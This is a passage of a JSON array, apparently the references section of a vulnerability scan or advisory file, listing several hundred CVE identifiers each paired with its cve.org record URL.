"name": "CVE-2026-89157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89157"
},
{
"name": "CVE-2026-69651",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69651"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2018-1000021",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-1000021"
},
{
"name": "CVE-2026-93492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93492"
},
{
"name": "CVE-2025-1178",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1178"
},
{
"name": "CVE-2026-77214",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77214"
},
{
"name": "CVE-2026-34478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
},
{
"name": "CVE-2025-8747",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8747"
},
{
"name": "CVE-2026-107725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107725"
},
{
"name": "CVE-2024-40635",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-40635"
},
{
"name": "CVE-2026-53488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53488"
},
{
"name": "CVE-2026-44777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44777"
},
{
"name": "CVE-2025-4674",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
},
{
"name": "CVE-2025-30258",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30258"
},
{
"name": "CVE-2026-6873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6873"
},
{
"name": "CVE-2026-93451",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93451"
},
{
"name": "CVE-2025-1176",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1176"
},
{
"name": "CVE-2026-50162",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
},
{
"name": "CVE-2026-56391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56391"
},
{
"name": "CVE-2026-57433",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
},
{
"name": "CVE-2024-56406",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56406"
},
{
"name": "CVE-2026-77420",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77420"
},
{
"name": "CVE-2026-4660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4660"
},
{
"name": "CVE-2026-93558",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
},
{
"name": "CVE-2026-81727",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81727"
},
{
"name": "CVE-2026-111752",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111752"
},
{
"name": "CVE-2026-39820",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
},
{
"name": "CVE-2026-55380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
},
{
"name": "CVE-2026-34480",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
},
{
"name": "CVE-2026-105769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-105769"
},
{
"name": "CVE-2026-34501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34501"
},
{
"name": "CVE-2026-56854",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
},
{
"name": "CVE-2026-84303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
},
{
"name": "CVE-2025-5278",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
},
{
"name": "CVE-2024-56433",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
},
{
"name": "CVE-2026-48587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48587"
},
{
"name": "CVE-2026-73180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
},
{
"name": "CVE-2026-87861",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
},
{
"name": "CVE-2025-48384",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48384"
},
{
"name": "CVE-2025-49506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49506"
},
{
"name": "CVE-2025-47911",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47911"
},
{
"name": "CVE-2025-5318",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5318"
},
{
"name": "CVE-2026-39819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
},
{
"name": "CVE-2026-34986",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
},
{
"name": "CVE-2026-55990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55990"
},
{
"name": "CVE-2026-112060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112060"
},
{
"name": "CVE-2026-92386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
},
{
"name": "CVE-2026-58010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
},
{
"name": "CVE-2026-62243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
},
{
"name": "CVE-2026-26958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26958"
},
{
"name": "CVE-2026-96512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96512"
},
{
"name": "CVE-2026-61712",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61712"
},
{
"name": "CVE-2026-14662",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
},
{
"name": "CVE-2026-114406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114406"
},
{
"name": "CVE-2025-69872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69872"
},
{
"name": "CVE-2025-2998",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2998"
},
{
"name": "CVE-2026-3833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
},
{
"name": "CVE-2026-106449",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106449"
},
{
"name": "CVE-2026-71887",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71887"
},
{
"name": "CVE-2026-26310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26310"
},
{
"name": "CVE-2026-16118",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
},
{
"name": "CVE-2026-42769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
},
{
"name": "CVE-2026-44660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44660"
},
{
"name": "CVE-2026-93563",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93563"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-59900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
},
{
"name": "CVE-2026-96638",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
},
{
"name": "CVE-2026-54679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54679"
},
{
"name": "CVE-2026-70464",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70464"
},
{
"name": "CVE-2026-112892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2026-6253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6253"
},
{
"name": "CVE-2025-6141",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
},
{
"name": "CVE-2026-92387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
},
{
"name": "CVE-2026-78227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78227"
},
{
"name": "CVE-2026-12064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12064"
},
{
"name": "CVE-2026-25934",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25934"
},
{
"name": "CVE-2026-6470",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
},
{
"name": "CVE-2026-96232",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96232"
},
{
"name": "CVE-2026-112406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
},
{
"name": "CVE-2026-50229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50229"
},
{
"name": "CVE-2025-6020",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6020"
},
{
"name": "CVE-2026-89425",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
},
{
"name": "CVE-2026-48962",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
},
{
"name": "CVE-2022-48064",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-48064"
},
{
"name": "CVE-2026-19672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2026-14669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
},
{
"name": "CVE-2026-114137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114137"
},
{
"name": "CVE-2026-55092",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55092"
},
{
"name": "CVE-2026-112898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
},
{
"name": "CVE-2026-12480",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12480"
},
{
"name": "CVE-2026-68495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68495"
},
{
"name": "CVE-2026-70035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70035"
},
{
"name": "CVE-2026-7774",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
},
{
"name": "CVE-2025-22868",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
},
{
"name": "CVE-2026-42010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
},
{
"name": "CVE-2026-62290",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62290"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2026-42506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42506"
},
{
"name": "CVE-2026-77762",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
},
{
"name": "CVE-2026-93566",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
},
{
"name": "CVE-2026-34479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
},
{
"name": "CVE-2026-40553",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40553"
},
{
"name": "CVE-2026-76641",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76641"
},
{
"name": "CVE-2025-3360",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
},
{
"name": "CVE-2026-22796",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
},
{
"name": "CVE-2026-80225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80225"
},
{
"name": "CVE-2026-74049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74049"
},
{
"name": "CVE-2026-77408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77408"
},
{
"name": "CVE-2026-48042",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48042"
},
{
"name": "CVE-2019-1010204",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-1010204"
},
{
"name": "CVE-2026-4647",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4647"
},
{
"name": "CVE-2026-40226",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40226"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2026-44973",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44973"
},
{
"name": "CVE-2026-78383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
},
{
"name": "CVE-2026-114437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114437"
},
{
"name": "CVE-2026-70463",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70463"
},
{
"name": "CVE-2019-9193",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-9193"
},
{
"name": "CVE-2026-48961",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48961"
},
{
"name": "CVE-2026-112942",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112942"
},
{
"name": "CVE-2026-112399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
},
{
"name": "CVE-2026-95184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95184"
},
{
"name": "CVE-2026-3219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
},
{
"name": "CVE-2024-7348",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7348"
},
{
"name": "CVE-2026-42013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
},
{
"name": "CVE-2026-11824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
},
{
"name": "CVE-2026-3832",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3832"
},
{
"name": "CVE-2026-44605",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44605"
},
{
"name": "CVE-2026-2303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
},
{
"name": "CVE-2026-69243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69243"
},
{
"name": "CVE-2025-61732",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2024-10976",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10976"
},
{
"name": "CVE-2026-0964",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
},
{
"name": "CVE-2026-113351",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-113351"
},
{
"name": "CVE-2026-114501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
},
{
"name": "CVE-2025-11083",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11083"
},
{
"name": "CVE-2026-116586",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116586"
},
{
"name": "CVE-2023-45803",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45803"
},
{
"name": "CVE-2026-14678",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
},
{
"name": "CVE-2026-23992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23992"
},
{
"name": "CVE-2026-93562",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93562"
},
{
"name": "CVE-2026-27199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
},
{
"name": "CVE-2026-70457",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70457"
},
{
"name": "CVE-2026-71888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71888"
},
{
"name": "CVE-2026-39831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
},
{
"name": "CVE-2026-86145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86145"
},
{
"name": "CVE-2026-109125",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109125"
},
{
"name": "CVE-2026-86350",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
},
{
"name": "CVE-2026-39828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
},
{
"name": "CVE-2026-54787",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54787"
},
{
"name": "CVE-2026-45447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
},
{
"name": "CVE-2025-8713",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8713"
},
{
"name": "CVE-2024-25620",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-25620"
},
{
"name": "CVE-2026-77955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77955"
},
{
"name": "CVE-2026-8924",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8924"
},
{
"name": "CVE-2026-70456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70456"
},
{
"name": "CVE-2021-3826",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3826"
},
{
"name": "CVE-2026-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2026-92391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
},
{
"name": "CVE-2026-78409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78409"
},
{
"name": "CVE-2026-70460",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70460"
},
{
"name": "CVE-2026-101896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101896"
},
{
"name": "CVE-2026-15003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15003"
},
{
"name": "CVE-2026-85747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85747"
},
{
"name": "CVE-2025-68146",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68146"
},
{
"name": "CVE-2026-48702",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48702"
},
{
"name": "CVE-2026-25679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
},
{
"name": "CVE-2026-40612",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40612"
},
{
"name": "CVE-2026-117610",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-117610"
},
{
"name": "CVE-2025-14017",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
},
{
"name": "CVE-2026-33811",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
},
{
"name": "CVE-2026-96642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
},
{
"name": "CVE-2024-45337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
},
{
"name": "CVE-2026-107778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107778"
},
{
"name": "CVE-2025-3730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3730"
},
{
"name": "CVE-2026-39979",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39979"
},
{
"name": "CVE-2026-90802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90802"
},
{
"name": "CVE-2026-81726",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
},
{
"name": "CVE-2025-13836",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13836"
},
{
"name": "CVE-2026-1229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1229"
},
{
"name": "CVE-2026-101296",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101296"
},
{
"name": "CVE-2026-9079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9079"
},
{
"name": "CVE-2026-19931",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2026-63075",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
},
{
"name": "CVE-2026-56407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56407"
},
{
"name": "CVE-2026-25210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25210"
},
{
"name": "CVE-2026-28387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
},
{
"name": "CVE-2026-115557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115557"
},
{
"name": "CVE-2022-42967",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42967"
},
{
"name": "CVE-2024-52533",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-52533"
},
{
"name": "CVE-2026-102474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102474"
},
{
"name": "CVE-2026-28388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
},
{
"name": "CVE-2026-23991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23991"
},
{
"name": "CVE-2026-118131",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118131"
},
{
"name": "CVE-2025-7039",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-7039"
},
{
"name": "CVE-2026-96235",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96235"
},
{
"name": "CVE-2026-50251",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50251"
},
{
"name": "CVE-2026-40192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40192"
},
{
"name": "CVE-2026-112404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
},
{
"name": "CVE-2026-50020",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
},
{
"name": "CVE-2026-55708",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55708"
},
{
"name": "CVE-2026-25680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
},
{
"name": "CVE-2026-87910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
},
{
"name": "CVE-2026-46384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46384"
},
{
"name": "CVE-2026-91782",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91782"
},
{
"name": "CVE-2020-25695",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-25695"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-39835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
},
{
"name": "CVE-2026-59197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
},
{
"name": "CVE-2026-112895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
},
{
"name": "CVE-2025-5918",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5918"
},
{
"name": "CVE-2026-6478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
},
{
"name": "CVE-2026-114603",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114603"
},
{
"name": "CVE-2026-33815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
},
{
"name": "CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"name": "CVE-2026-100407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100407"
},
{
"name": "CVE-2026-78683",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78683"
},
{
"name": "CVE-2026-32874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32874"
},
{
"name": "CVE-2025-3263",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3263"
},
{
"name": "CVE-2026-48497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48497"
},
{
"name": "CVE-2025-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4878"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2025-12818",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
},
{
"name": "CVE-2025-32990",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
},
{
"name": "CVE-2026-78663",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78663"
},
{
"name": "CVE-2026-97031",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97031"
},
{
"name": "CVE-2026-10532",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
},
{
"name": "CVE-2026-112901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
},
{
"name": "CVE-2026-12087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
},
{
"name": "CVE-2026-4519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4519"
},
{
"name": "CVE-2026-53612",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53612"
},
{
"name": "CVE-2025-3001",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3001"
},
{
"name": "CVE-2026-116585",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116585"
},
{
"name": "CVE-2026-83520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-83520"
},
{
"name": "CVE-2026-114691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114691"
},
{
"name": "CVE-2025-15366",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
},
{
"name": "CVE-2021-45261",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-45261"
},
{
"name": "CVE-2026-91781",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91781"
},
{
"name": "CVE-2026-53493",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53493"
},
{
"name": "CVE-2025-13462",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13462"
},
{
"name": "CVE-2025-4802",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4802"
},
{
"name": "CVE-2026-40164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40164"
},
{
"name": "CVE-2026-0990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0990"
},
{
"name": "CVE-2026-55956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
},
{
"name": "CVE-2026-77410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77410"
},
{
"name": "CVE-2026-54060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
},
{
"name": "CVE-2026-32289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
},
{
"name": "CVE-2026-0865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0865"
},
{
"name": "CVE-2026-24686",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24686"
},
{
"name": "CVE-2026-18924",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
},
{
"name": "CVE-2026-68496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68496"
},
{
"name": "CVE-2026-97045",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97045"
},
{
"name": "CVE-2026-111750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111750"
},
{
"name": "CVE-2026-45446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
},
{
"name": "CVE-2026-112893",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
},
{
"name": "CVE-2026-102010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102010"
},
{
"name": "CVE-2026-12570",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12570"
},
{
"name": "CVE-2026-82209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
},
{
"name": "CVE-2026-69244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69244"
},
{
"name": "CVE-2025-66221",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
},
{
"name": "CVE-2026-91777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
},
{
"name": "CVE-2026-58011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
},
{
"name": "CVE-2025-32989",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
},
{
"name": "CVE-2026-41506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41506"
},
{
"name": "CVE-2026-15741",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
},
{
"name": "CVE-2025-6051",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6051"
},
{
"name": "CVE-2026-63382",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
},
{
"name": "CVE-2026-4111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4111"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2026-106453",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106453"
},
{
"name": "CVE-2026-24515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24515"
},
{
"name": "CVE-2026-14677",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
},
{
"name": "CVE-2025-11495",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11495"
},
{
"name": "CVE-2026-118669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118669"
},
{
"name": "CVE-2025-66034",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66034"
},
{
"name": "CVE-2026-104873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104873"
},
{
"name": "CVE-2024-41110",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-41110"
},
{
"name": "CVE-2026-77411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77411"
},
{
"name": "CVE-2026-119375",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119375"
},
{
"name": "CVE-2025-48386",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48386"
},
{
"name": "CVE-2026-24117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24117"
},
{
"name": "CVE-2025-55199",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55199"
},
{
"name": "CVE-2026-109518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109518"
},
{
"name": "CVE-2021-23214",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23214"
},
{
"name": "CVE-2026-45570",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45570"
},
{
"name": "CVE-2026-6475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
},
{
"name": "CVE-2026-78680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78680"
},
{
